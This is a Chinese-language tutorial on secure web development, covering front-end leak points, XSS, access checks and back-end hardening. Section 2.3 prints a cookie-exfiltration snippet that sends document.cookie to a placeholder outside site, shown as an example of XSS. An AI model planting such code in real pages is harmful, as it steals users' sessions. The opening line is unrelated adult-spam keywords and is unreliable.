亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

WEB 應用安全開發

黑客大部分利用的是軟件的漏洞,所以我們要盡可能在開發的時候切斷所有可能被利用的地方。要想開發出安全的系統,我們需要熟悉黑客進攻的模式和防守的策略。

1. 簡介

重視安全最好的策略是將風險最大化,開發的時候要換位思考,如果我是黑客我是不是有辦法繞過當前的限制。在進行具體場景講解前,先來了解一些關鍵詞。

1.1 關鍵名詞

  • 同域: 相同域名,端口相同,協議相同,缺一不可。

  • 跨域: 瀏覽器從一個域名的網頁去請求另一個域名的資源時,域名、端口、協議至少有一個不相同,就是跨域。

  • ECMAScript: 簡稱(ES)JavaScript 所遵循的語法標準。

  • W3C: 即 萬維網聯盟 ,最重要的工作是發展 Web 規范,這些規范描述了 Web 的通信協議(比如 HTML 和 XHTML)和其他的構建模塊。

1.2 安全領域的參與者

把握安全領域就要把握 Web 流程中的參與者,除了攻擊者外其它角色均需要提供安全的解決方案。從大的方向有下面幾大角色,沒有誰是絕對安全的。
參與者

2. 前端安全開發

前端的安全主要圍繞 W3C 進行,同時瀏覽器的漏洞和 Http 協議本身的缺陷也會造成影響。

2.1 明文防范

W3C 三個核心對象:HTML,JavaScript,CSS 分別負責了網站的內容結構,動作交互邏輯,展示樣式。這么核心的東西在客戶都是很容易查看的。雖然 JavaScript 可以混淆加密,但是最終他是需要被瀏覽器解析的,所以肯定是有一套固定的規范,黑客同樣可以輕易解密。
明文也就算了,用戶居然可以任意更改上面 W3C 的核心對象,并產生不同的效果,真的是危機四伏。

  • 不要異想天開的在前端與后臺約定某個加密算法,這樣算法一下子就泄露了;
  • 對于前端的輸入都要保持懷疑,重要的數據如果后端允許,需要自行生成或者加以校驗;
  • 雖然客戶端的一覽無遺,但是還是要盡量使用 Https 協議,保證傳輸的過程是加密的;
  • 需要權限的操作,即使前端按鈕隱藏了,后端的接口也需要重新鑒權下,很可能客戶端自己修改 CSS 使按鈕顯示出來了;

2.2 URL 導致的泄露問題

前端任何地方帶有 URL 的都要引起警惕,主要可能帶來下面安全問題:

  1. 構建系統的某些接口等用戶登錄后觸發;
  2. 調用別的網站,將該作用域下的 Cookie 傳輸出去。

常見隱藏點:
圖片

<img src='http:xxx'>

css 樣式

background:url(bgimage.gif)

表單 action 地址,或者注入隱藏的 input 參數

<form action=''>
<input type="hidden" name="field_name" value="value"> 

2.3 window 下的全局變量

Window 下面帶了很多可以直接使用的全局變量,要警惕危險。

圖片描述

危險點:利用 window.document 獲取本域 cookie 然后傳輸到黑客的網站

<img src='別的網站URL?param='+document.cookie >

容易受跨站腳本攻擊利用

window.location.href = 【該值最好不要是動態的,容易被注入】

3. 后端安全開發

3.1 規范問題

  1. 權威機構平臺漏洞訂閱,并及時做出修改。
  2. 開發規范的遵守
    • 學習相關開發規范手冊。
    • IDEA 安裝實時的代碼掃描插件,有問題的地方及時更正。
  3. 代碼 review 實踐。
  4. 重要參數不要輕易在日志中輸出。
  5. 代碼泄露
    • 代碼不要上傳網上。
    • 數據庫,簽名算法,密鑰值 要重要保管,線上不相關的人不要泄露。
  6. 重要賬號不要為了一時方便提供給開發,測試 等不相干人員,如果有也要及時修改密碼。

3.2 設計問題

  1. 類似活動的抽獎,優惠卷領取邏輯不夠嚴謹,可能被人褥羊毛;
  2. 登錄沒有限制次數,容易被暴力破解;
  3. 短信驗證沒有設置重發時間,容易被利用做短信轟炸。

3.3 信任問題

  1. 同域:檢查請求頭的 ref 參數,要么是同域的,要么是信任的才響應。

  2. 請求參數

    • 不要太信任前端參數,重要值后臺能獲取的盡量自己獲取。
    • 請求的所有參數都做下 XSS/ SQL 注入 的關鍵字符的過濾。
  3. 權限:涉及到權限的后端都要自己校驗,不要說前端按鈕隱藏了就可以了。

3.4 增加風控邏輯

  1. 用戶的賬號異地登陸,可以做出些限制或提醒。
  2. 某個用戶購買的某個商品或者領取的優惠卷異常多,做出限制。
  3. 通過 AI 智能模型,對用戶行為,流量數據進行檢測,模型異常就做出限制。

3.5 網絡策略限制

  1. 數據庫,Redis,ES,等需要設置訪問的 IP 白名單。
  2. 對服務器進流量和出流量端口做限制。
  3. 架構上面盡量隱藏內部服務等地址。
  4. 數據庫和應用最好分開,以免被一鍋端。

4. 小結

安全問題需要經驗累積,軟件開發作為一個團隊協作的工作,大家經驗水平不同,所以盡量在團隊中分享安全開發的相關知識,技術 Leader 定期 Review 組員代碼。